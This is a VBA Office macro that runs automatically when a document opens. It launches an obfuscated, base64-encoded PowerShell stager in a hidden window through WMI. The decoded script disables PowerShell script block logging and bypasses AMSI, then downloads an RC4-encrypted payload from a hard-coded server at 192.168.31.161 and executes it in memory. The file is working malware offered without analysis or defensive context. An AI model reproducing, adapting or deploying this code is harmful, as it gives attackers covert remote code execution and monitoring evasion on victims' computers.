Sub Auto_Open()
	Ra
End Sub

Sub AutoOpen()
	Ra
End Sub

Sub Document_Open()
	Ra
End Sub

Public Function Ra() As Variant
	Dim Zpt As String
	Zpt = "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVg"
	Zpt = Zpt + "BlAHIAUwBJAE8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAHIAcwBJ"
	Zpt = Zpt + "AE8ATgAuAE0AQQBqAG8AcgAgAC0ARwBlACAAMwApAHsAJABHAF"
	Zpt = Zpt + "AARgA9AFsAUgBlAEYAXQAuAEEAcwBTAGUAbQBiAEwAWQAuAEcA"
	Zpt = Zpt + "ZQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
	Zpt = Zpt + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
	Zpt = Zpt + "AHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAEkAZQBgAGwAZAAiAC"
	Zpt = Zpt + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
	Zpt = Zpt + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
	Zpt = Zpt + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABH"
	Zpt = Zpt + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAdABWAE"
	Zpt = Zpt + "EATABVAEUAKAAkAE4AVQBsAGwAKQA7AEkARgAoACQARwBQAEMA"
	Zpt = Zpt + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
	Zpt = Zpt + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
	Zpt = Zpt + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
	Zpt = Zpt + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
	Zpt = Zpt + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
	Zpt = Zpt + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
	Zpt = Zpt + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
	Zpt = Zpt + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
	Zpt = Zpt + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAYQBsAD0AWwBDAE8ATA"
	Zpt = Zpt + "BsAGUAYwB0AGkAbwBOAHMALgBHAGUAbgBlAHIASQBjAC4ARABp"
	Zpt = Zpt + "AGMAVABpAG8AbgBhAHIAeQBbAFMAVAByAEkAbgBHACwAUwBZAF"
	Zpt = Zpt + "MAdABlAG0ALgBPAEIASgBFAEMAdABdAF0AOgA6AE4AZQB3ACgA"
	Zpt = Zpt + "KQA7ACQAdgBBAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
	Zpt = Zpt + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
	Zpt = Zpt + "AGcAJwAsADAAKQA7ACQAdgBBAGwALgBBAEQAZAAoACcARQBuAG"
	Zpt = Zpt + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
	Zpt = Zpt + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
	Zpt = Zpt + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
	Zpt = Zpt + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
	Zpt = Zpt + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
	Zpt = Zpt + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
	Zpt = Zpt + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
	Zpt = Zpt + "AD0AJABWAEEAbAB9AEUATABTAEUAewBbAFMAYwBSAEkAcAB0AE"
	Zpt = Zpt + "IAbABvAGMAawBdAC4AIgBHAEUAdABGAGkAZQBgAGwARAAiACgA"
	Zpt = Zpt + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
	Zpt = Zpt + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBl"
	Zpt = Zpt + "AHQAVgBBAGwAdQBlACgAJABuAHUATABMACwAKABOAEUAdwAtAE"
	Zpt = Zpt + "8AYgBqAGUAYwB0ACAAQwBPAEwAbABFAGMAdABJAE8AbgBzAC4A"
	Zpt = Zpt + "RwBlAE4ARQBSAGkAYwAuAEgAQQBzAGgAUwBFAFQAWwBTAHQAcg"
	Zpt = Zpt + "BJAG4ARwBdACkAKQB9AFsAUgBlAEYAXQAuAEEAUwBTAGUAbQBi"
	Zpt = Zpt + "AGwAWQAuAEcAZQB0AFQAWQBQAGUAKAAnAFMAeQBzAHQAZQBtAC"
	Zpt = Zpt + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
	Zpt = Zpt + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
	Zpt = Zpt + "BfAH0AfAAlAHsAJABfAC4ARwBlAHQARgBpAGUATABEACgAJwBh"
	Zpt = Zpt + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
	Zpt = Zpt + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUA"
	Zpt = Zpt + "VABWAGEAbABVAEUAKAAkAE4AdQBsAGwALAAkAHQAUgBVAEUAKQ"
	Zpt = Zpt + "B9ADsAfQA7AFsAUwB5AFMAVABlAG0ALgBOAGUAdAAuAFMAZQBy"
	Zpt = Zpt + "AFYAaQBjAGUAUABPAGkAbgBUAE0AQQBuAEEAZwBFAFIAXQA6AD"
	Zpt = Zpt + "oARQB4AHAAZQBDAHQAMQAwADAAQwBPAG4AdABpAG4AdQBFAD0A"
	Zpt = Zpt + "MAA7ACQAdwBDAD0ATgBFAFcALQBPAGIAagBlAGMAVAAgAFMAWQ"
	Zpt = Zpt + "BzAHQARQBNAC4ATgBlAHQALgBXAGUAYgBDAEwASQBlAG4AdAA7"
	Zpt = Zpt + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
	Zpt = Zpt + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
	Zpt = Zpt + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
	Zpt = Zpt + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
	Zpt = Zpt + "AFcAQwAuAEgARQBBAGQAZQBSAFMALgBBAEQARAAoACcAVQBzAG"
	Zpt = Zpt + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAQwAuAFAA"
	Zpt = Zpt + "cgBPAHgAeQA9AFsAUwB5AFMAdABlAG0ALgBOAGUAdAAuAFcAZQ"
	Zpt = Zpt + "BCAFIARQBRAFUARQBzAHQAXQA6ADoARABlAEYAQQB1AEwAVABX"
	Zpt = Zpt + "AGUAQgBQAHIAbwBYAHkAOwAkAFcAQwAuAFAAcgBPAFgAWQAuAE"
	Zpt = Zpt + "MAcgBlAEQARQBOAHQASQBhAEwAUwAgAD0AIABbAFMAWQBzAHQA"
	Zpt = Zpt + "ZQBNAC4ATgBFAFQALgBDAHIAZQBEAEUATgB0AGkAYQBMAEMAYQ"
	Zpt = Zpt + "BjAGgARQBdADoAOgBEAEUAZgBBAFUAbAB0AE4AZQBUAHcAbwBS"
	Zpt = Zpt + "AEsAQwBSAEUARABFAE4AdABpAGEAbABzADsAJABTAGMAcgBpAH"
	Zpt = Zpt + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
	Zpt = Zpt + "eQA7ACQASwA9AFsAUwB5AFMAVABFAG0ALgBUAGUAWAB0AC4ARQ"
	Zpt = Zpt + "BuAGMATwBkAGkAbgBHAF0AOgA6AEEAUwBDAEkASQAuAEcARQB0"
	Zpt = Zpt + "AEIAWQBUAEUAUwAoACcASQByAGYAfQApACEAOABUADEAegAmAH"
	Zpt = Zpt + "sAOQBdAD8AdwBRAE4AQQA7AC0AJQBAAHMAPABZAEwARQBeAFAA"
	Zpt = Zpt + "awBLACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZw"
	Zpt = Zpt + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
	Zpt = Zpt + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
	Zpt = Zpt + "sAJABfACUAJABLAC4AQwBvAFUAbgBUAF0AKQAlADIANQA2ADsA"
	Zpt = Zpt + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
	Zpt = Zpt + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
	Zpt = Zpt + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
	Zpt = Zpt + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
	Zpt = Zpt + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
	Zpt = Zpt + "A7ACQAXwAtAEIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
	Zpt = Zpt + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
	Zpt = Zpt + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMA"
	Zpt = Zpt + "MQAuADEANgAxADoAOAAwACcAOwAkAHQAPQAnAC8AbABvAGcAaQ"
	Zpt = Zpt + "BuAC8AcAByAG8AYwBlAHMAcwAuAHAAaABwACcAOwAkAFcAQwAu"
	Zpt = Zpt + "AEgAZQBhAEQAZQByAFMALgBBAEQARAAoACIAQwBvAG8AawBpAG"
	Zpt = Zpt + "UAIgAsACIAcwBlAHMAcwBpAG8AbgA9AEcATwA3AHAAUQBVAG8A"
	Zpt = Zpt + "dgA3AEsAOABWAHoARgB5AFUAKwA3ADQASAA1AHIAbwA0ADcAUA"
	Zpt = Zpt + "BVAD0AIgApADsAJABkAEEAVABBAD0AJABXAEMALgBEAE8AdwBu"
	Zpt = Zpt + "AGwATwBBAGQARABhAFQAYQAoACQAUwBlAHIAKwAkAHQAKQA7AC"
	Zpt = Zpt + "QAaQBWAD0AJABkAGEAdABBAFsAMAAuAC4AMwBdADsAJABEAGEA"
	Zpt = Zpt + "dABBAD0AJABEAGEAVABBAFsANAAuAC4AJABkAGEAdABBAC4AbA"
	Zpt = Zpt + "BFAE4ARwB0AGgAXQA7AC0AagBPAGkATgBbAEMASABBAHIAWwBd"
	Zpt = Zpt + "AF0AKAAmACAAJABSACAAJABEAGEAVABhACAAKAAkAEkAVgArAC"
	Zpt = Zpt + "QASwApACkAfABJAEUAWAA="
	Const HIDDEN_WINDOW = 0
	strComputer = "."
	Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
	Set objStartup = objWMIService.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	objConfig.ShowWindow = HIDDEN_WINDOW
	Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
	objProcess.Create Zpt, Null, objConfig, intProcessID
End Function